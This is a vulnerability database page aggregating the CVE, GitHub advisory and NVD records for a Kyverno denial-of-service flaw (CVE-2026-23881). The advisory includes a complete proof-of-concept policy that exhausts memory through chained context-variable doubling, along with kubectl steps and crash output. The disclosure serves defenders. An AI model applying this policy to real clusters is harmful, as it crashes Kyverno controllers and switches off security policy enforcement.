Vulnerability-Lookup

CVE-2026-23881 (GCVE-0-2026-23881)

Vulnerability from cvelistv5 – Published: 2026-01-27 16:10 – Updated: 2026-01-27 16:33

Title

Kyverno Denial of Service via Context Variable Amplification in Policy Engine

Summary

Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno's policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability.

Severity ?

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

	https://github.com/kyverno/kyverno/security/advis…	x_refsource_CONFIRM
	https://github.com/kyverno/kyverno/commit/7a651be…	x_refsource_MISC
	https://github.com/kyverno/kyverno/commit/f5617f6…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	kyverno	kyverno	Affected: < 1.15.3 Affected: >= 1.16.0, < 1.16.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-23881",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-27T16:32:37.256106Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-27T16:33:03.342Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kyverno",
          "vendor": "kyverno",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.15.3"
            },
            {
              "status": "affected",
              "version": "\u003e= 1.16.0, \u003c 1.16.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno\u0027s policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-27T16:10:44.376Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq"
        },
        {
          "name": "https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f"
        },
        {
          "name": "https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7"
        }
      ],
      "source": {
        "advisory": "GHSA-r2rj-wwm5-x6mq",
        "discovery": "UNKNOWN"
      },
      "title": "Kyverno Denial of Service via Context Variable Amplification in Policy Engine"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-23881",
    "datePublished": "2026-01-27T16:10:44.376Z",
    "dateReserved": "2026-01-16T21:02:02.900Z",
    "dateUpdated": "2026-01-27T16:33:03.342Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-23881\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-01-27T17:16:12.733\",\"lastModified\":\"2026-01-27T17:16:12.733\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno\u0027s policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H\",\"baseScore\":7.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.1,\"impactScore\":4.0}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-770\"}]}],\"references\":[{\"url\":\"https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq\",\"source\":\"security-advisories@github.com\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-23881\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-01-27T16:32:37.256106Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-01-27T16:32:55.203Z\"}}], \"cna\": {\"title\": \"Kyverno Denial of Service via Context Variable Amplification in Policy Engine\", \"source\": {\"advisory\": \"GHSA-r2rj-wwm5-x6mq\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 7.7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"kyverno\", \"product\": \"kyverno\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 1.15.3\"}, {\"status\": \"affected\", \"version\": \"\u003e= 1.16.0, \u003c 1.16.3\"}]}], \"references\": [{\"url\": \"https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq\", \"name\": \"https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f\", \"name\": \"https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7\", \"name\": \"https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno\u0027s policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-770\", \"description\": \"CWE-770: Allocation of Resources Without Limits or Throttling\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-01-27T16:10:44.376Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-23881\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-01-27T16:33:03.342Z\", \"dateReserved\": \"2026-01-16T21:02:02.900Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-01-27T16:10:44.376Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-R2RJ-WWM5-X6MQ

Vulnerability from github – Published: 2026-01-27 18:02 – Updated: 2026-01-27 18:02

Summary

Kyverno Denial of Service via Context Variable Amplification in Policy Engine

Details

Summary

Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.

Details

For example, the random() JMESPath function in pkg/engine/jmespath/functions.go generates random strings. Combined with the join() function, an attacker can create exponential string amplification through context variable chaining:

The PoC attack uses exponential doubling: - l0 = random('[a-zA-Z0-9]{1000}') → 1KB - l1 = join('', [l0, l0]) → 2KB - l2 = join('', [l1, l1]) → 4KB - ... continues to l18 → 256MB

The context evaluation has no cumulative size limit, allowing unbounded memory allocation.

PoC

Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind).

Create namespace:

kubectl create namespace poc-test

Observe pod statuses from kyverno namespace on another terminal:

kubectl get pods -n kyverno -w

Apply malicious policy:

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: memory-exhaustion-poc
  namespace: poc-test
spec:
  validationFailureAction: Enforce
  rules:
    - name: exhaust-memory
      match:
        any:
          - resources:
              kinds:
                - ConfigMap
      context:
        - name: l0
          variable:
            jmesPath: random('[a-zA-Z0-9]{1000}')
        - name: l1
          variable:
            jmesPath: join('', [l0, l0])
        - name: l2
          variable:
            jmesPath: join('', [l1, l1])
        - name: l3
          variable:
            jmesPath: join('', [l2, l2])
        - name: l4
          variable:
            jmesPath: join('', [l3, l3])
        - name: l5
          variable:
            jmesPath: join('', [l4, l4])
        - name: l6
          variable:
            jmesPath: join('', [l5, l5])
        - name: l7
          variable:
            jmesPath: join('', [l6, l6])
        - name: l8
          variable:
            jmesPath: join('', [l7, l7])
        - name: l9
          variable:
            jmesPath: join('', [l8, l8])
        - name: l10
          variable:
            jmesPath: join('', [l9, l9])
        - name: l11
          variable:
            jmesPath: join('', [l10, l10])
        - name: l12
          variable:
            jmesPath: join('', [l11, l11])
        - name: l13
          variable:
            jmesPath: join('', [l12, l12])
        - name: l14
          variable:
            jmesPath: join('', [l13, l13])
        - name: l15
          variable:
            jmesPath: join('', [l14, l14])
        - name: l16
          variable:
            jmesPath: join('', [l15, l15])
        - name: l17
          variable:
            jmesPath: join('', [l16, l16])
        - name: l18
          variable:
            jmesPath: join('', [l17, l17])
      validate:
        message: "Memory exhaustion PoC"
        deny:
          conditions:
            any:
              - key: "{{ l18 }}"
                operator: Equals
                value: "impossible-match"

As soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.

Trigger policy evaluation on the admission controller:

kubectl create configmap trigger -n poc-test --from-literal=key=value

Response:

error: failed to create configmap: Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF

The Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.

Check pod status from the kyverno namespace:

kubectl get pods -n kyverno

Outputs:

kyverno              kyverno-admission-controller-58cb4b76c9-wd45p    0/1     OOMKilled          1 (20s ago)   178m
kyverno              kyverno-reports-controller-576566fb98-pfb2f      0/1     OOMKilled          1 (1s ago)   178m

While the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same kubectl create configmap command from above and reproduce the crash.

Impact

Denial of Service with cluster-wide security impact. Users with Policy or ClusterPolicy creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:

Pod OOMKill and service disruption
No logs on why the crash occurred (admission controller, reports controller)
Cluster-wide policy enforcement disabled and security policies stop being evaluated
If failurePolicy: Ignore is configured, workloads bypass all validation during outage
Applications depending on Kyverno mutations may deploy with incorrect configurations

Any Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.

Mitigation

Add a context size limit to prevent unbounded memory allocation during policy evaluation.

Severity ?

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0-rc.1"
            },
            {
              "fixed": "1.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-27T18:02:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nUnbounded memory consumption in Kyverno\u0027s policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.\n\n## Details\n\nFor example, the `random()` JMESPath function in `pkg/engine/jmespath/functions.go` generates random strings. Combined with the `join()` function, an attacker can create exponential string amplification through context variable chaining:\n\nThe PoC attack uses exponential doubling:\n- `l0` = `random(\u0027[a-zA-Z0-9]{1000}\u0027)` \u2192 1KB\n- `l1` = `join(\u0027\u0027, [l0, l0])` \u2192 2KB\n- `l2` = `join(\u0027\u0027, [l1, l1])` \u2192 4KB\n- ... continues to `l18` \u2192 256MB\n\nThe context evaluation has no cumulative size limit, allowing unbounded memory allocation.\n\n## PoC\n\nTested on Kyverno v1.16.1 on k8s v1.34.0 (kind).\n\n1. Create namespace:\n```bash\nkubectl create namespace poc-test\n```\n\n2. Observe pod statuses from `kyverno` namespace on another terminal:\n```bash\nkubectl get pods -n kyverno -w\n```\n\n2. Apply malicious policy:\n```yaml\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: memory-exhaustion-poc\n  namespace: poc-test\nspec:\n  validationFailureAction: Enforce\n  rules:\n    - name: exhaust-memory\n      match:\n        any:\n          - resources:\n              kinds:\n                - ConfigMap\n      context:\n        - name: l0\n          variable:\n            jmesPath: random(\u0027[a-zA-Z0-9]{1000}\u0027)\n        - name: l1\n          variable:\n            jmesPath: join(\u0027\u0027, [l0, l0])\n        - name: l2\n          variable:\n            jmesPath: join(\u0027\u0027, [l1, l1])\n        - name: l3\n          variable:\n            jmesPath: join(\u0027\u0027, [l2, l2])\n        - name: l4\n          variable:\n            jmesPath: join(\u0027\u0027, [l3, l3])\n        - name: l5\n          variable:\n            jmesPath: join(\u0027\u0027, [l4, l4])\n        - name: l6\n          variable:\n            jmesPath: join(\u0027\u0027, [l5, l5])\n        - name: l7\n          variable:\n            jmesPath: join(\u0027\u0027, [l6, l6])\n        - name: l8\n          variable:\n            jmesPath: join(\u0027\u0027, [l7, l7])\n        - name: l9\n          variable:\n            jmesPath: join(\u0027\u0027, [l8, l8])\n        - name: l10\n          variable:\n            jmesPath: join(\u0027\u0027, [l9, l9])\n        - name: l11\n          variable:\n            jmesPath: join(\u0027\u0027, [l10, l10])\n        - name: l12\n          variable:\n            jmesPath: join(\u0027\u0027, [l11, l11])\n        - name: l13\n          variable:\n            jmesPath: join(\u0027\u0027, [l12, l12])\n        - name: l14\n          variable:\n            jmesPath: join(\u0027\u0027, [l13, l13])\n        - name: l15\n          variable:\n            jmesPath: join(\u0027\u0027, [l14, l14])\n        - name: l16\n          variable:\n            jmesPath: join(\u0027\u0027, [l15, l15])\n        - name: l17\n          variable:\n            jmesPath: join(\u0027\u0027, [l16, l16])\n        - name: l18\n          variable:\n            jmesPath: join(\u0027\u0027, [l17, l17])\n      validate:\n        message: \"Memory exhaustion PoC\"\n        deny:\n          conditions:\n            any:\n              - key: \"{{ l18 }}\"\n                operator: Equals\n                value: \"impossible-match\"\n```\n\nAs soon as you apply this, you\u0027ll see the reports controller gets OOM killed and the container enters a crash loop.\n\n4. Trigger policy evaluation on the admission controller:\n```bash\nkubectl create configmap trigger -n poc-test --from-literal=key=value\n```\n\nResponse:\n\n```\nerror: failed to create configmap: Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n```\n\nThe Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.\n\n5. Check pod status from the `kyverno` namespace:\n\n```bash\nkubectl get pods -n kyverno\n```\n\nOutputs:\n\n```\nkyverno              kyverno-admission-controller-58cb4b76c9-wd45p    0/1     OOMKilled          1 (20s ago)   178m\nkyverno              kyverno-reports-controller-576566fb98-pfb2f      0/1     OOMKilled          1 (1s ago)   178m\n```\n\nWhile the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same `kubectl create configmap` command from above and reproduce the crash.\n\n\n## Impact\n\nDenial of Service with cluster-wide security impact. Users with `Policy` or `ClusterPolicy` creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:\n\n- Pod OOMKill and service disruption\n- No logs on why the crash occurred (admission controller, reports controller)\n- Cluster-wide policy enforcement disabled and security policies stop being evaluated\n- If `failurePolicy: Ignore` is configured, workloads bypass all validation during outage\n- Applications depending on Kyverno mutations may deploy with incorrect configurations\n\nAny Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.\n\n## Mitigation\n\nAdd a context size limit to prevent unbounded memory allocation during policy evaluation.",
  "id": "GHSA-r2rj-wwm5-x6mq",
  "modified": "2026-01-27T18:02:22Z",
  "published": "2026-01-27T18:02:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno Denial of Service via Context Variable Amplification in Policy Engine"
}

FKIE_CVE-2026-23881

Vulnerability from fkie_nvd - Published: 2026-01-27 17:16 - Updated: 2026-01-27 17:16

Severity ?

7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f
	security-advisories@github.com	https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7
	security-advisories@github.com	https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Kyverno is a policy engine designed for cloud native platform engineering teams. Versions prior to 1.16.3 and 1.15.3 have unbounded memory consumption in Kyverno\u0027s policy engine that allows users with policy creation privileges to cause denial of service by crafting policies that exponentially amplify string data through context variables. Versions 1.16.3 and 1.15.3 contain a patch for the vulnerability."
    }
  ],
  "id": "CVE-2026-23881",
  "lastModified": "2026-01-27T17:16:12.733",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-01-27T17:16:12.733",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-23881 (GCVE-0-2026-23881)

GHSA-R2RJ-WWM5-X6MQ

Summary

Details

PoC

Impact

Mitigation

FKIE_CVE-2026-23881

Tags

Sightings

Nomenclature